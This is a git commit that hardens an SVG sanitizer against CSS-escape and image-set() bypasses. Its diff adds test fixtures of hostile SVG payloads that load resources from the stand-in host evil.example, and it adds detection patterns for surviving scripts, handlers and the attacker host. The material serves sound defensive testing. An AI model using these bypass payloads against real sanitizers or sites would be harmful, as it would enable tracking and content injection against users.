fix(media-use): close CSS-escape and image-set bypasses in sanitizeSvg

The url()/@import checks scanned raw text for the literal "url(" and
"@import". A browser decodes CSS escapes first, so fill="\75 rl(...)",
url\28...\29 and @\69mport all loaded an external resource, and
image-set("https://...") loads one with no url() at all. Reproduced in
headless Chrome: 8 of 8 payloads fired a request through the old code.

CSS can only load a resource through a function or @import, so CSS text
now passes only if it has no @import, every function is on a compute-only
allowlist (color, transform, filter and math functions), and every url()
is a same-document fragment, all checked on escape-decoded, lowercased
text. Same fix reaches media-use through the regenerated bundle.

Checked against all 13,384 files of the pinned theSVG corpus: 13,383
sanitize byte-identically; one drops an unreferenced id="XRP-(XRP)".
The parity oracle now fails on any surviving attacker host, so it no
longer shares the sanitizer's parsing blind spot.
This commit is contained in:
Miguel Angel Simon Sierra
2026-09-23 06:36:18 -04:00
parent c952f05e06
commit 79e6680a0d
4 changed files with 154 additions and 28 deletions
@@ -77,13 +77,29 @@ const HOSTILE_CORPUS = [
'<svg><a href="data:image/svg+xml;base64,PHN2Zz48c2NyaXB0PmFsZXJ0KDEpPC9zY3JpcHQ+PC9zdmc+">click</a></svg>',
"data:image/svg+xml navigation on <a>",
],
[
String.raw`<svg><rect style="fill:\75 rl(https://evil.example/b)"/></svg>`,
"CSS-escaped url() in style=",
],
[String.raw`<svg><rect fill="\75rl(https://evil.example/b)"/></svg>`, "CSS-escaped url() in fill"],
[
String.raw`<svg><style>@\69mport 'https://evil.example/x.css';</style></svg>`,
"CSS-escaped @import in <style>",
],
[
`<svg><style>svg{background-image:image-set("https://evil.example/b" 1x)}</style></svg>`,
"image-set() string URL in <style>",
],
];
// The attacker host is checked as plain text so the oracle can't share a CSS-parsing blind
// spot with the sanitizer: however a payload spells its URL, the host must not survive.
const UNSAFE_MARKERS = [
[/<script\b/i, "<script survived"],
[/<foreignobject\b/i, "<foreignObject survived"],
[/\son\w+\s*=/i, "on* handler survived"],
[/javascript:/i, "javascript: survived"],
[/evil\.example/i, "attacker host survived"],
];
function hasDataImageOnAnchor(out) {